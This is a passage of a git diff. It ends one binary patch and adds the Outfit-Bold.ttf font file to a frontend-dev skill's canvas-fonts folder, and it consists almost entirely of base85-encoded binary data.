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 Y@EUPfoVW59lH;&FR3%@_<|?23AM)G6o&W#< literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Outfit-Bold.ttf b/skills/frontend-dev/canvas-fonts/Outfit-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f9f2f72afdee8011d61048072576ceee2f95ea60 GIT binary patch literal 55392 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 